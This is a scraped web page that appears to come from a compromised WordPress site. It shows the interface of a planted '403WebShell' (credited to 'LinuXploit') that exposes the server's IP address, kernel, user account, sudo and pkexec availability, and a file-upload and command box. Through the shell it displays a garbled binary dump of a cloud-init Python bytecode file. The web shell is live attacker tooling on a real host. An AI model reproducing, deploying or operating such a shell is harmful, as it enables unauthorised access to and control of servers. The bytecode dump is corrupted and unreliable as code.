WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 18.193.92.211  /  Your IP : 216.73.216.24
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core18/current/usr/lib/python3/dist-packages/cloudinit/cmd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core18/current/usr/lib/python3/dist-packages/cloudinit/cmd/__pycache__/clean.cpython-36.pyc
3

�Ad��@s�dZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZm
Z
mZddlmZmZmZmZmZmZdZdd	d
�Zddd
�Zdd�Zdd�Zedkr�e�dS)zEDefine 'clean' utility and handler as part of cloud-init commandline.�N)�settings)�uses_systemd)�Init)�ProcessExecutionError�runparts�subp)�del_dir�del_file�error�get_config_logfiles�is_link�
write_filez/etc/machine-idcCsh|stjddd�}|jdddddd	d
�|jddddd
�|jdddddd
�|jddddddd
�|S)a#Build or extend an arg parser for clean utility.

    @param parser: Optional existing ArgumentParser instance representing the
        clean subcommand which will be extended to support the args of
        this utility.

    @returns: ArgumentParser with proper argument configuration.
    �cleanzARemove logs and artifacts so cloud-init re-runs on a clean system)�progZdescriptionz-lz--logs�
store_trueF�remove_logszRemove cloud-init logs.)�action�default�dest�helpz--machine-idz�Set /etc/machine-id to 'uninitialized
' for golden imagecreation. On next boot, systemd generates a new machine-id. Remove /etc/machine-id on non-systemd environments.)rrrz-rz--rebootz;Reboot system after logs are cleaned so cloud-init re-runs.z-sz--seed�remove_seedz5Remove cloud-init seed directory /var/lib/cloud/seed.)�argparse�ArgumentParser�add_argument)�parser�r�5/usr/lib/python3/dist-packages/cloudinit/cmd/clean.py�
get_parsers<	rFcCs2tgd�}|j�|r2xt|j�D]}t|�q"Wtjj|jj	�sFdStjj
|jj	d�}x�tjd|jj	�D]v}||kr�|r�qly,tjj|�r�t|�r�t
|�nt|�Wqltk
r�}ztdj|t|���dSd}~XqlXqlWyttj�Wn8tk
�r,}ztdtj�d	|���dSd}~XnXdS)
a4Helper which removes artifacts dir and optionally log files.

    @param: remove_logs: Boolean. Set True to delete the cloud_dir path. False
        preserves them.
    @param: remove_seed: Boolean. Set True to also delete seed subdir in
        paths.cloud_dir.
    @returns: 0 on success, 1 otherwise.
    )Zds_depsrZseedz%s/*zCould not remove {0}: {1}�NzFailure during run-parts of z: )rZread_cfgrZcfgr	�os�path�isdir�pathsZ	cloud_dir�join�globrr�OSErrorr
�format�strrrZCLEAN_RUNPARTS_DIR�	Exception)rrZinitZlog_fileZ	seed_pathr �errr�remove_artifactsSs2	

r*cCs�t|j|j�}|jr2t�r*ttddd�ntt�|dkr�|jr�dddg}yt	|dd	�Wn:t
k
r�}ztd
j|t
|���d}WYdd}~XnX|S)
z3Handle calls to 'cloud-init clean' as a subcommand.zuninitialized
i$)�moderZshutdownz-rZnowF)Zcapturez-Could not reboot this system using "{0}": {1}rN)r*rrZ
machine_idrr
�ETC_MACHINE_IDr	Zrebootrrr
r&r')�name�argsZ	exit_code�cmdr)rrr�handle_clean_argszs
r0cCst�}tjtd|j���dS)z4Tool to collect and tar all cloud-init related logs.rN)r�sys�exitr0�
parse_args)rrrr�main�sr4�__main__)N)F)�__doc__rr$rr1Z	cloudinitrZcloudinit.distrosrZcloudinit.stagesrZcloudinit.subprrrZcloudinit.utilrr	r
rrr
r,rr*r0r4�__name__rrrr�<module>s  	
5
'

Youez - 2016 - github.com/yon3zu
LinuXploit